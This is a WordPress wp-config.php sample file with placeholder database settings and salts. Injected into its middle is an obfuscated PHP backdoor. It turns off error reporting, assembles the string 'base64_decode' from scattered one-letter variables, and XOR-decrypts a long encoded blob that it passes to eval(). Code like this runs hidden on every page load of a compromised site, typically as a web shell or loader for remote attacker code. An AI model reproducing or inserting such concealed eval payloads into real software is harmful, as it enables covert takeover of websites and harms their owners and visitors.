<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';



error_reporting(0);$krunzn="a";$goatbn="b";



$shzz="lpagj";


$qodpw="6";

$ssympg="s";$hmqu="e";$mtca="xpuenel";$ngdwn="4";
$clix="_";$ipei="fqdvkr";$txbsrd="v";
$qfm="c";$bxpqu="kgn";

$vzqet="nyx";$yeohs="l";$tnho="kdeb";$hhvzrws="d";


$nmr="o";
function h($a, $d){ 
$f=""; for($c=0;$c<strlen($a);) for($y=0;$y<strlen($d);$y++, $c++) $f .= $a[$c] ^ $d[$y]; return $f; };$cxtb="viwi";



$bmb="zlcnzelv";





$zlkpfc="psusmhht";


$zroip=$goatbn.

$krunzn.




$ssympg





.$hmqu.

$qodpw.


$ngdwn





.$clix.





$hhvzrws


.$hmqu




.$qfm



.$nmr



.$hhvzrws.
$hmqu;






$cxdr="wmvje";



$jddkwkq="xzpo";











eval(h($zroip("\HVDMC^JP@ZD^NXK_VbJI^hgIUQZXZTVbJMX
$@CXECXY\	 AYxC\5E@IsIHUZZX_(@IP\&@
JAG
JA&QZ@
 XI6I
%	HIHQZ[F[NVDII ZYOO]AO	^NIMO&LC I 	XNOZAHdOOX	MCOCB_J D5]@IJSFw9H
UWOC_W2U
M_eI[R
MH^ZM
!X][\XMBMJ\^_IeXP @OJTSAAQTI_M#X[K [OSZC ^_;	XLYMZTIEWG]PX\^(BXJOCCTEU		I<B FFTE@MNA]\M_>R[]H\GHJL eBX_G\[WK_(B[TQ^GXM\J@4\[^ Q@_I#w_(;wO	EJU:MHJ	MXODD|Q'3]\ _5F.wJF,BCQQ[XKCIDD
OY	X?YZON_G
\O^OE[LALFAH_Sq.A\XKY@@F,1TO
S@XJ_I<AJUWT  VCAATQ\@JT]FFT @OYZOHQSDT
WH[@_	XECBLKP^BXTOU5FJEUKMFUxMK _] R@[cX!@ CW	UZ@	OVXDIR[BW\/1< I8E_[OUR SI2F HF@^[[:&] RoEOBF/K
VFMEJU@OV0@DImKE^@CVFMXU\@OVMDI5EAE^@MVFMIHc@OVIDI%MXE^@BVFMXI@OV!IDICBE^@X3VFM\XE@'OVEDIJ_E^@X VFMKbM@*OVXDIBHE^@OVFMEB\@OVYDI[DYE^@XVFM@IA@OV _DIIBE^@C
VFMJC^@LOVDIINE^@OVFMIVC@OVIDIXME^@@VFM[3..HR SZ[XF5
[F]MM@ KMOD]BiS O\NUAF]MX9H !:+] RAXOBFHCUK
MFNCHK _] RO_OBF|c1UKMFEKMK _D^]OE^&m ECWQXGZ?BOkA	TPYI.IMI@ CM KI%LUYO E IWYQ	QQ^IY
HRNQIN  BwA\TNACETAER
HCHZBTJ
Q\@]MCAEFIXE/OHL#X@wAD _AQA]I[GJAEBHRFXATI	SP	]q]/A@IQTNUN	IVZHGAPGN^A\XIKY
T]Cqw_GB\XIU	IC<]BMZK!A]IXGJAEBIRFXAM^Aq@_J	EM C5R
CHZBTIQ\@]HCA3MEY_ZCXwAK QOSDTHAJBNRHZBTMQ\@]HAER
CHZMIqHSSYK)WTT<*BTMJE_X\O^JHE[LALFA	OK[_*CYI:AR
MJBZTIOGAPPXR_A@^MMKY
CQ		AD QAQISq@ITN	IA	w\TH*3RMCITGN	IVZMGAPG	^A\XK/Nw	IVZJGAPPXR_A@^HNK/<ALQ	_A\TACETA3M[H_Z^wA\TACRJ	IHAJBNPH,F\HCY!A]DT_FZ@ MCCBKq#@OJTSCI	qNX\
MH KB_MD]_N_BF_YEHYHFMEY K[PR RDRQ	_AAHCY!A]DT
FZ@DMCAI^CRETOGJXE/OALQ	RAKCwS IOC7AHH^CO.YJ^5R
CHZBTJOEqEPOSC_  YX_OwA\TOAQA]O]GJAR
OMJBMTNKSPO'DT	H@_	XECBLdPDSWC_N.KJ[\^dJB/ $4\vR
_J[cw6qC^B)DNNXwA\TAC]IRqIA@IQTRB@OYMZTJE wSYIU9\VM EB\X#@OJTSCII?O-+/*BTIE_OXH]FQTI[:  C JC^w_OXOB]FQTM[LALQ	R@%_
YXHAI<ALQ		UKq#@OJTSCITN	IVZIGO5RJ^D^A9OTZMA\TBA5RNO&L ZI#4C(CHUQZ	XUAIdSBOBD)YF_WOBH'GK]O^^BB:ZJCBv@|Q2U ETE[UIXBZc?;,QIXY^LD2 SIJYEYF_WOBHGdYcID@GZ[DE@*7CWX^UOZvHMeBZCQ	[YC FB@W\^I! [JUWTUREMCT^SZ	_eX@ITS@TMNAY\M_>R[]DTY]K]WTPJ\^_IeXP @XG]G^J^8[\TID[OSZAEL\Me
YBT__^AGJTBY\	IeO[LQ	[X\T@]@E
M_eI[EBWVCCTEU		I<B FQTPNKQ	@\M^I1@RZZFMBNMZBv	@IH!:\9I>1M_DEJ%_AAAQM O F1W-)@\M7cwDO'\OQIK R
QCC@IXLY
UBCwFQTPNq?YMZTKS@XG]FQTPN	IA[MHYZ(AB BO
iWCOYA	B,@]@OGJAEBVTVCAAJOAQA]\\HU:C VCQJYBOEHROBAu9UCF]MZI KIOD]BCS O[pTPB@ CM UMFXP ^0mNOBFSC^\.%;Cc K^OD]oES OBNUEF]M@M KO
OD]FE]\uD $HFF]\MM]OD]MIS O
INUQUPD'[ugAK _O7c0IS O BNU"@F]MCH Ky*;OD]cFS OZPg;E6F]M	@E K_OD]CAY^xh.HF y*] RC<6BN+UKMF[i(9 Y^I<K_BW^	XH#IBZN 	C^i@	A#@OJTDDAEF@IE/ZALQ	[^ADHY\N\XPOKY
T@XSIK  ^0@A3ITSAPOFM7Y^@@M iIwFQTQJN	IA[NKMP5UYHOBX9OT@X%,@]GOGJAEBWVCAAT]I^COHRq\M	C^'AMM	DC^i I,@]FJOGJO	U:MM	YAIBw_OXGNSCIq9OT@^ZADHY[C\O^SUNCM7MBOC
2Y_X<ICOJCBOZOHAO[ C[9OPC	CqwOK F[Z]^O\_SIOT@XOD F[	SDTY\qJ@MZFZTIEZLbLX@THL]HEL[ TV_\MBRW	INT_IEBLIBHGXXJEASI_M^@A\@ID
^D
MMJX@GHN^ MH_X [_MTEP\FKGDHP]_\YKHEDXI\JG_NBULMCBXERHJEDX^QRBWSDJMTYBMN^	IM KIBOO^MIX	MCEHNHNZ]TVNDXVFHZJG
Z^YKOV\MBXU]JB IBBITQAZZ\ SODYH^\IXJHZI^M
	ZXKINBO
C JUMOD_	@O	^UBA	_\BFKBK[_ L[_MZEIT
DZNJP]\\NE_MEEZDXVFHZT_IEBLIBHGXXJEDX^QZI@M@MACW EXMN^CHDCOGEKXKXTH^O[ TVEDZ_UIUICB_EKJZ\HGXXJEDMUF_^@\MHZ_^OX^M\M @H^MH O	IHEDVTU\KEP]HY_ME\PITZK[H_HYKT\C\FKVFHH_XOVEN\RWVT	\BT_IEBLIBHGXXJEDXVAELCAIY\IIBKB	\H_X	MW	^XAN^MCQ A_CBITG	\BJP]E\NE_MEEZJ
Z_UIUIC^DQJMJ[EHX_GOHIKXUIQ AI^\FKG^AT_L[HOVEHEZPEFKGDN&~E>_IZEM5Y^@s
CJVWVSdkJYEQBI^MI*A&XE	I@ XALJ[WfXWHX ^_XZX>JJ@ID_7\M L\M I G@AB\	ZTV),"hi$5/e.*='$c|}~?x-!?0#vR TO	K	^^@IBD ^AHSYXKX
[\&k{JBsT_IK5I8+HH^m*Q^bZUYECR I3e\mH^91@AZWUE@F@IA@>"/8zi~wKk=8!8%m1h&5GH
DRO@>"/8zi~wKk=8!8%m1h&5G]S@PTOAD[UL%0~"i:5Fki-;7s%%58MqQ	@Z]A=!"~2$#1Mdxx|3t'1':-m'h1h7(.~?[NBGQBBsi>z=%3O2x!|+t7(.~{# #i >7%8qRIE_FJEEANG
JZCs7$#</~wd8x((07<c'{5~,+%sj- @qM]OBNsi~:i*,O;?~#i&s)*%~?[NDUIT\ C@OVYPs;+3zi0)@d05!52sjc~;m*3-,%j:~SqAUAERZ@1ZqQ	@Z]A=!"~2$#1Mdxx|3o4>-&.s<|SqAGA

BZO;248<i~w$x,'7+6e0b s!>Fq^L@VV_ZDE^QH@R*1~>+3w*&3|;"=#/bxse<%^TVR*1~>+3w175z!3.+.h~qEQWL\H+-<7i~9U/x01.)&eibx3e(P5S@IAC
\YN5i~z)~#P <.|*o2s+!/bi!&.b#>8:MqJ
X_@L%0~"i:5Fdx6"8o">2%$biox%b?(!8]q\JY\VLBICHQLL3=%>-(wRd x81"js!=)b!"%#$kse|KqQKV@^s&i&z-<:' 1i6>0..~qEXL
Qs'i:8$~wE:3x4>2,5ocbb)o,>&/%e%)N@_RLN5i~z)~#P:-7c!i+m,*3qYG^E\W}bpE\OX	s_K	X*	I]HkBRY
BKI~J]TWbdABRGDBA\XUD'$-:,i'wSd<:1s~'4"~!3V7CW&LXWHHZUTL12i~475wC)%>:s~ij)~=%O5ZUKX *&3|;34,/~i~ErWHHZUTQbdABRGDJBIA\X\(;-(z0~/ :5|s07!i6$#M7^	XHXN&~HNABRIJsi>z=%3O2x!|+~-($~i0U:nAQJJQ&Q&fEW@IYO E >IT_LF~IM@M_^ApUTJ XEGK#@YMEWRI\ U@J>i0$"~?F9>>|sy)~'6/-4xRq]HAs175z!3*M"xx|s9=%7)=i;xSqHSAKI	ZLF9>>|sy)~'6/-4xRONIX 	@>"/8zi~wKd,#87/0~+m/+/x?IGQn{`YBOXCWhAE  AIJ[GWnAQJJDIMI
HUZMMD1I]X;	I^_ErWHHZ^X^NEDI^:S"_XqW&}bBXCNIX2 XBW&LXWYBTI\XZCs7$#</~wd8x($O5SS
T7=$~z' <,5%:9qQXPUPL12i~475wC248<i~s|#~,P5HGU@AN^
\[^EHXRGUN&	&bBOBD8I]YIX0	^]dABVIM^@AA&UTIMO;248<i~M\ZKPZ	IB	mDAQJJEJL
^]IBA BGNX_QM"xx|sKXbHZUTHNA	XQ&LXWHpUTHNADIALJX^s^	\RUXOCF CBX^s^	\R*XONF X^_Y_@LI TAGHYxGDAQJJDIH3^DMI3AF@J`JQfXWHX ^LMH n{`YBOXCW	OhX	FEDMM
]JNBIIH ITWLJI XGAW&BRGYK_sM^M_LI@ANEBIID\Q^MUHBN&THNC^DLEH@I_XS^TWbNABRGY^\C_DMGXLI^^GXQX		I\IB I_A^EJ_XC\LCW_ ^A^IXnAQJJQ&L
BUJ@Z&QhxY
BIBC;^I5B, _ITFOMQNW&LXWLXIiBILEFJGfXWHX ^
IV-BBHMXC}bpJ BXHH2OImBn^NQ_XL	HWhRGDEJWNM_	L(CI\GZ&BRG^TC^(IR TGZ&QhxY
BTCiQE\M	D{`JB*X_THJ=sEBY^SbZUPG#UXGDRsXCsU@^GU]bNAFU(DC@^GU6UhxGDAU_Y@X.UHG.qO&HNAJ M	QBNEB\YnZMPEHS_ IMA
`JLXS	YX6UwqBOGJrG	U:	wQET	HJ
IU.	K	,Q`&r}HHZI Y ANUs.JI8UISd&&	OJTC^h	O@^DT'XK BVIHQ`&LInXA
BNDIT^AA&UTLUn_D\QJsXs	QGUAUkBRCG=KXDQQGU*I_KIm&DAQJNHIOCI5_UTw5UkBRCAYNW\HTZ_^IFEIBI #_HES\AH&UTHNAC (XI_w1EWQIO
Hn_?E7CrI5_.MNEGI>B7Q&LQr}HHZI Y ANUs.JInX_AUkQ&hxY
BYX
'7UIL^ENkQJJ^IX^W	MsMFFC^UK5\@EXDK\O&dkJYEQXI_sC'BQNXHWhRGDEY@XQ_PSbZUC ODBZCNJM_UAH&UTHNAYQDWOD^DSTHkBRIJ^I_@Lbp&YOB~_I^^Hp&UTL_\BOGCZ{JJEJDE(	@NI@IY^-BVCCW&LXWHHZDTH^@=	EIU@&LXWHHZY@7XCO	]J)y~`c<x'$;$%z0~=j1>$i~NRMCQ&LXWH^sIXF D"$8&c|xs?4(>-(e3u<c;:MKImDAQJJOY@'\PO BAoy0>(|0>7%&`c{`#o9#!'4 U]bNABRG5_IXCXPS V6y&`'>5s~'&2~*5#+$ji~@I^SbZUTHNY^-IBOD Lo-%$'*x*d1m,+3 R[\&DAQJJO^(CX\Mo7 +c45.)%bbio8x1:-'/xYEAUkBRGDA@s_IC@LDY7y:".|x=&.a!.$>FW&XWHHZUP^B^>OOC}HHZUTLMH GDsKIXB@H^O]bNABRG5O@C_	\ AA&UTHNAERO^wDX(IRqTUNSKRIJJM@_	rWHHZQUI_N&&BRGDAQJNY^@sM
ZU\^>Y^ZCYXQ`LXWL	@UTL@s_*MODIA	%WUUZX \IH&BRGDAQJN^I]Q_0-<ZUTs\ I :VXDqW&rWHHZUTEF__O5M^_Iw_URq]HJI]B\ZC^VJDY^ sH.YqYxmDAQJJ^	]XYUHX=x |G_Op.	dPJHY
7^IwO_XE/GDC-6BoCBIUoC=^p.p
CJ`JLXSGUTJGC	LE_MGG]OSANO s HwD_P5DZ_WNUBHGTHJ``LXWRCGAN&BRGDAQJJlJY@L	CGXL]YxGDAQJJL
WUHJTHNABRG	JIJPSG\~HNABRGDA
`JLXWHHZUT
N\J_LE	G \L^SbZUTHNABRGDBN^IHFGQNO&HNABRGDAQJJEJDWUUZ)^(BJGA^BOG_kQJJLXWHpUTHNABR'J_CGQLbHZUTHkBR&DAQJIXY^\
Q~&OX	 _X|CXPS UM_B	m&DAQJN^I_\LXPOSp&UTIE_=@ OY@'\TWbdABRGDEJOY@'QY@AUk&BRGDAQ	^@s_	X@^O To=<-c|6-4(>'/8eju|)i*[H@I]bNABRG5_IXCXPS V6y&`'>5s1>8z!38,3dcx@J^SbZUTHNY^-IBOD Lo-%$'*x*j;`$!6`c!33e+/]J[&LXWHHZO ^sC\ZCOMQ)?~`c|8s*2<=(b!~5b;($~ BCNnAQJJY
7X\ L	 !'5`+1%5"imhi> XGASpUTHNAOY8_OD@;":$5|!s7c& $ox6;*i+4%FJfXWHHZUO^1IX@FJoy~`#|,(<!7i:y  H_QhRGDAQJJOY^@3_QO H-4~`-"3s4.">FfXWHHZUO^1IX@FJoy~`#|,(8')x3e1`,=MM	XQ`&LXWHLI\TH^@=IIU	&LXWHHZIHA@;BJCLHAA&THNA@;IOC}bHZUTHFM 1MDXX\3OO'TTX^H^^
A_I&fXWH@ITWbdABRGDEs\M^IWUH
M_s _kQJJLHG]^1M^wCAIqLEWO X_SSdkBRGDAU	BXITEWIA+O IT-^ Bw&LXWHHZUS_F\R<&DAQJJLXWHHZIE>\I @Y_Q@_I fXWHHZUTHNAE^5II^sMOHGUJ@kBRGDAQJJq&LXWHHZq\~&GAABRGDEY@Xd_WUHR_WNF__HHCAKJML7
M_H3I	C_U:DOQHPDHEAGRNEY^-M1\C^%^SbZUTHNE^IX,J_WWH]_@NGIAEUNJAU@s\M_3OCXSqSdkBRGDAJY^ sH.CFqB	mDAQJJL\@d_NO@HEJAU@s\M_3O
CXSqSdABRGDIW&LXWHHZUTY@:_A_WJ__ XHHJ@UT\]A@HEJAIZQ&LXWHp&UTHNAGQWJ_X^IA'Is@XF _"_X HI
VQI^% SGK75#/+aso`%i6#7+5b;i7xDNEOCTHJ``LXWRCGHWhxGDAQJJLJRCGM2=4xDCQDJY^@3\wR\X I<BPGd05!E[p^0BZ^SbZUTHNABYYNCOGI XU 	XOVFNEY^-M1DC_%WFHXppAUkBRGDAQJJJ\Y_PSGXXJ-BXPM\\ EBZTY[LJCJY	CHIH0^$JAA&UTHNABRGJB_COI[HJ9CXBCIBDC_^@IBD	_\Vp2YxGDAQJJLJRCGM!	BBO C4&B)^(BJGZ&BRGDAQJJJ\X_LOI  HJM^JAS6pBp^0BZ^SbpUTHNABRC^D\QZQ&LXWHHZU[EIJ@	IXLWrWHHZUTHNABRCND\QIX_H_ UD\GZ&BRGDAQJJL@LUIABVnAQJJLXWHHZJ\
N\@.p
CXJN^]rWHHZUTHNAQ&hRGDAQJJ
ORCGH&hRGDAQJJQ&&LX
bbZUIBF _Z{`&&JYOZHXO+ME;	k&Do^UXPS	M TxGDAY^B^7XD\G.N BO9Y^OI-B5	A^
OCO  I^AHGUXYdABRGDGW`JLXsM O FCpL]E D	HIC^)n_\F^@C YNM^MAE XS\IHYIYx&n	XECBLHiM@! &IX5D& \\^AH&UTY^R^.XODN8XJDZN_\1IO@AQX&UTHNA
DxGDAQJJ\^IsW(GLMNP>	CHIH\	SUIIhm&	ECBI?AEe)XF^XJ&L^^K7 XO
ZE$NSFJ\M^AQWUUZXY&HNABRG
BkQJJL\
7MOJA=@^G LX
SpQ&YECR^8BHCA8E@^B AE HJYAP[GWnAQJJXEX IXJHO]&THNC^BZCEYQJJNEM@LYXL AKIGJZCJW&LXWHH^XXIH@\K^8BHCA?X
RUTHIZ&BRGQnkQJJ^IX^WLXIO&dkEJJV8!3'/8w~i=y=$<77i!d;hO3A_R@k!5VJL
E_I_L7=i!wSXI<DTGXBM_IXsI]+k-::X	U:MALWJZM@H<GB0IIHKR&nAQJJJC^h	HG^MNIX	PGZAU@EHMI,hOH
H&BRG@A_LN^NsBCIF_8I
JCA<	SN&~HNA^I$CHFZM D>EHnkQJJ^I\ZUXEFX^8XBI]YIX(RIYy^^G _W&rWHHZ_B'IORZ5HIOCIPHYmB0_WEBN^I_\BDH^GU]SdkBRJDIU CBcNIEVMEIxBCQWWZM E.CIhHIRA
DEBcNF	OZV]X^I:GIUY\QHZsCs'JAZWTHNACDsIBOH_JX%CEs7ChRGD{`JIELbp&QIM5^M^D\QHH&^	JXJHX'I@YxCEALJIX~I@1)^4j\SdEYMBOGK#@YMErSY_ yAF_A_JN_I^Z	^<U>IbdJJ_YN5kixwKEP5AS&THNJJX/ME@ek?D6^\FEsk'&<V7FGIQWLM@ ^	
I^BOGHCY^I9*_@AF- i0:Vq LAA&UTAHO$@eBk	X/ 8MIB@J>ki6)@E F,CCIAE#	G^TH _ITF8Hsk)x#P]q\~HNAEJBZI/AME@%B?@^s2i wOqK[Gx^MOI
WUH^s2i wOqYxmDAQNI]YIX(	_UTM UJxGDAQJJEHKEIHLAExGI^mDAQJJEXJVH^E ~HNABR@^VJW^	JT}HHZUTO _LG {JJf&XWHH^^]I1M^YAIBOCIPHYmB0_WEB^@IBC@@_B+IHIJVI|M^M_Q^AHVQGUAGZ&BRG _CB^XJH] IX8XF ]?^@ H^	X%MMH&hRGDB&Qf&H@^s&i&z-<:~'#2i75.'/xdchKqXJUUZ%c'xONG
IIU5:cxwKH_*AAZWTHJ_CRZ@>!%9xwHKqC}HHZQHX	N\F	s IFC[HYO&bNAG5@M_X3I
RUIH$2cb=75~+3.$%bi&XWHHZUX>^IB.	HI\QLbHZUTHEXYxGDA``H^IgUN\M U;
HMMQLbbZUJHFCYO  CLQWbZUTHN	XX-IIsOCIPEXXSTHNA
X_kQJJQ&&LXWLXcJB_YNMXMwKH_*AHEQHX	5FH?R]CFJ`JM'_XTH_IZCH1MBqLXS	M.5N[EImDAQNU_|@XZUE_IHwCM7HH	3]_)RNFhRGDEyMLERM M3IY?[GDEMw_%WRH]N&THNEEJ
I1 QWJE__I\	wRE5GAFX:VqL_LbHZUI
*EZ GDXHX,O(THJMX)@[ F,JPfXWHLMK!MHSAE_@>"/8zi~wKd,#87;o6i$x7" bk73 iC<XJU_YNX
_L7)i'z1~3I)xx2-&o'$!>5`mbk9m?2O5VE TAN[EImDAQNAME@LXUJSpUT E@2M	/NrWHHZY^=^E IALJH&LXS H^$@	C^RZ8]YI_d_]/;o
_2MI1JC^ANqXHHX'IYdI^IX1HIO/DU"	E*@XCCqXRE_kQJJDMD(	H_M?FMqL	!\SqHTAYxmDAQ^IMOPS7/?xUML  AIBOY@AWfXWHHZUE@JM^GYASHCW&LXWHHZUTENIHIX!eBkI{ +UX\MANRCGXCJW&LXWHHZUTHNEIAYA	CHIY
)H7MI^ZIX^O  I^SbZUTHNABRGDEE@|MM9	HPB	&BRGDAQJJLXEYbNABRGDAQJI@_IJPOiM(Bk0E	3IH\	SUW~HNABRGDAQJJIAEWUHMIB7
OCOXBN\M^MTWLU\~HNABRGDAQJJIAE'	A;MIHSABnAQJJLXWHHZCX IhRGDAQJJII I$AM.B#BN\M^MQWbZUTHNABRGDEE@L	THNABRGDAQJNIAME |	4MITHJMAImDAQJJLXWHHCXBZ&BRGDAQJJQ&LXWHHZUTLI^!^-XLZUIH@A\ ADOQHL&LXWHHZQTHk&BRGX^EK?HGY_I]U7KkIX@H[HEKN&~HNAEJBZCD:^MALWr}HHZUTL _D2M	ALJX^EAD *MM HJ	M_
"^*Z7&&LXWHHZJTIO7
M8-IX{ED;QD_ > ^M^GCCW&LXWHHZUT E@BOGHCY^I9*_@L _D2M	MQNIUfXWHHZUQ~HNABR@BHIXIX=	ekX?DnPIU_D|MM^AH&UTHNABRGN_A\7ICI@J	M_
"^XQ`LXWbZUTHN@_ 	XiAM@1/QD_ > ^M[NkQJJLXWHLAEUNEDM7M Q`LXWbpUTQbdABVI|M^M_XJH	^UTbNABRGCMJ\T}HHZUTOJBOY@F&LXWHOMRIHJM hRGDAQJJ@QXS	K MX&HNABRGVJWIMDbZUTHNFHBOY@cJJ_	XT}HHZUTO F\RCB%J_IX@&XWHHZUS_IABVU1JC^A@&XWHHZUSDIABVI:@MXJ^[bHZUTHIYBOY@?M &LXWHHZYSUPAE A4F`LXWOUJLNhIkQJJ&fXWHLIY_> ^MGDBOCH	I&C^ BH IRUY CBsIO@^^]I1M^DMQNIUW&XWHH^^_fXRZ _X|CXPSY_ yMY:^MA_ErWHHZI\"Bc GDsHIOH_CI'CIm%MG^B^I_f;^YPGHhRGDJB^I_f'FUIJLHInkQJJEJD
0_B;NC_WE7zE_EC
UHGUYA`MA
``LXWZQ^_$CB-ZS@QQXUJAZIE bdABRGDJB^I_f'FXIc$_HQL	XHVHkBRGDAQJJ	OHJFAX \E\VJ^I_XIXIXU^@_PI@f_CB#NZVXY@VQH@C@ImDAQJJL	^]8CECHGJAU_\f_B7EDWWY@JMX DRAXC&LXWHHZUTZ&BRGDAQ@_I&rWHHZUTHNAEJBZXB^I_f'FXQNR@C
ZI@ZY\UUNM@NkQJJLXWHHZU[	C@N
I QX\IYUOI^_ IAOCB\VZQY^@NXS	\?_B'P^CJDW&XWHHZUTHNABM BH`COMERHXUI+_C=FI_
H^@Q@VFFSdABRGDAQJJ	TSbZUTHNABm&DAQJJLXHRAEN\@PNk{JJLXWHHZUJ@YBZCs#$%CJLWrWHHZUTHNABRGDA^EJIODCLDX \EYEO@^DOBGE^SCF _+cNFRWZXQUVJ@A]U7KkIXLZPVJA&UTHNABRGDAQJJDIH@J6CM E [LRC^ CBcNFJ@WQTJQCFI"EBKk	XTWIYGZGZ&BRGDAQJJLXWHHTXO&HNABRGDAQJJQI _WbpUTHNABRGDAQJJEJD *MMHkBRGDAQJJLXWHHZU[	C@N
I QX\IYUOI^_ IAOCB\VZQY^@NXS	\?_B'P^CJDDMD(	[SJUkBRGDAQJJLXWHHZUDM.MPH^"	CcFEPYEQDOQNM_D|^DH^ IX[^ShRGDAQJJLXWHHZUTXhRGDAQJJLXWHHZI_N&BRGDAQJJLXWHHZU[HDCBP[AJXX\	]U]^JIFOI
LMZY^@QVWL_fC!F\	EYSJNrWHHZUTHNABRGDAQJJDIMI
_J$OXCTABVI;BcNFAU TX QBU_kQJJLXWHHZUTHNA
X_kQJJLXWHHZUTHk&BRGDAQJJL}bHZUTHNA_A
``LXWHHZUTI]U7KkIXLEWJJS&THNABRGDAQJJJX_L _|^	HWhRGDAQJJLXWHHZUTGAAIO
GXDXXR^JDBBWY@EUFH^^_fcN_YWFHQHD 8^ATJI_hRGDAQJJLXWHHZUT  HIZE`CBNXS	\?_B'P^CJDDMD(	 UXYBAP[\&DAQJJLXWHHZUTHNAIT\&DAQJJLXWHHZUTQIxGDAQJJLXWHHZUTHANIF]MDX\UZHI_DERC
^JJFZI\"Bc JCQNZYHLAE|	 AbJCLHDIAEWFJ]W~HNABRGDAQJJLXWH MIJ"OMB^ASDJ^I_f'FXQB\EFOQNAME@<M
&AZULOEMQYI _J^SbZUTHNABRGDAQJJ	TSbZUTHNABRGDAQJJQ&LXWHHZUTHNI@GWnkQJJLXWHHZUTHF_1AWfXWHHZUTHNABRGDAQJEIOCXUTXXLI]CI_DLOXHDLRC^ CBcNFJ@WQZWLO^2BKkIVWL _|^	A@UY_kQJJLXWHHZUTHNA
HYH&COMXCMHJTQ^_$CB-ZS@QBGUFH^] IU;EB5XDOSIHD_'	AY ^MR@NnAQJJLXWHHZUTHNAInAQJJLXWHHZUT_IB	mDAQJJLXWHHZUTHNNCDCMXMDXZES^I_
UGOXWY
UJTI\"Bc JCQSVSE|^	/MA\EFOQNAME@B^UFH^] IU;EB5XDOQHM&LXWHHZUTHNABRGDAQMHI^D4	EBNJ@E^I-_> W^UFXWPI@| A* DL	W
VHJYI4X-IX ^DHIGO&HNABRGDAQJJLXWHHTXO&HNABRGDAQJJL}bHZUTHNABRGk{JJLXWHH&THNAxmDAQ`&LEW@LI\>_ .NFOLBjC^:EIHLDC:ACXJ&LXWHLCXBN\NP>	CHIH^"	CcFEPDHJ`JLX7@]KONO	XCQ&LXWHE~HNAQ&hRGDJB^I_f'FX	EC4^2C^QLEWJ _hA	B	mDAQJJY@,:EIXHSAKI"CLK,MB:MIhRGDAQJJIDWJTIMTDIZYF^I_DKBSS@@\G>~IHEIHFXKO&HNABRGD `CM@WTxC0EFX^Y	 XDXZSTHNA
X_kQJJQ&&LXWZQ^_$CB-ZS	XECB*C
!X^VQHS\jHW&LXWHHZX \7_\I;ErWHHZUTI&BRGk{JJEJL\
fCc
LW@X,^zE_XJZHVJB	m&DAQJJE
PS	\?_B'PEIQQXUJAZHI\SdkBRGDAU@IhMMXJH
_@s CHZISNM_	L(CI\\f	c\TJE@	h	J\O&bNABRGQBNsKIs\TWbNABRGDAQJNsIBs	\~HNABR&nAQJJHN+MMXBB~MBHA+K]O&HNABRG$YANI_XJHB^X< BH4XB&LXWHHZU I)MUBOGKXI~MH;EK\SdkBRGDAUZIm_LX^X~	 CA1E
YCQ&LXWHL@N:MA	I 8MBHC\~&HNABRGI	JNDXA@LXUT^\ bNA	OJM)ZWDNB	mDAQJJL;_&C^#CHRInAQJJQ&&LX_OEB@GAW&BRGDAQJIXB\oMM^_B\EYANB\hXFLFhRGDAQJJfXWHHZU@XHLO I*^_NEW4^MFCFX"MOXI_XYJFIK DAUkBRGDA@IWUHJUETHLO I'	OXI^VUFBXHJB	mDAQJJLZYHLUI:Y^_B\Ew<QWJU+ ^O IALM"mXEErWHHZUTQbNABRGJHNX6UUVUNI[B'BY0MUB\b AIAKImDAQJJ&LXWHHZ@XTFNEN@)M	QDHB	[X5.ZLXI# MA_H7 WX\MHOXUI+_C=FI_
HE@Ix\UHTRQ]bdABRGDC_JN_MZI-_XYJ@XU@/MARIHAVHD^I\25NJWJ@I
IFQDH&LXWHHZTHHYxmDAQVE_O^EXFUSbpUTHNAEJBZC^ CBcNFJH^O/XI4@CCJW&LXWHHZUO AMD	I]YZEP^_HBXCQJ@L
0_B;NC_WE+JXI^*EJZWJSdABRGDAQJJITEXW&XWHHZU	&HNABRG&DAQJJIELbHZUQ~&dkhx[ .2>3|iDAIbTX@J&TMH\xGDAMX@IPHOCT\X~C	5I LQLWVFE @Pk
HZkMHU&PHOCT @LREXB\;YOhOXB\GXN	E\XNXHVbFCUVd]Dn"),"xwhhz,u,t,hna,,brg,daqjj,,,,l,"));

$auy="sedodw";
$bext="wwcgok";




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';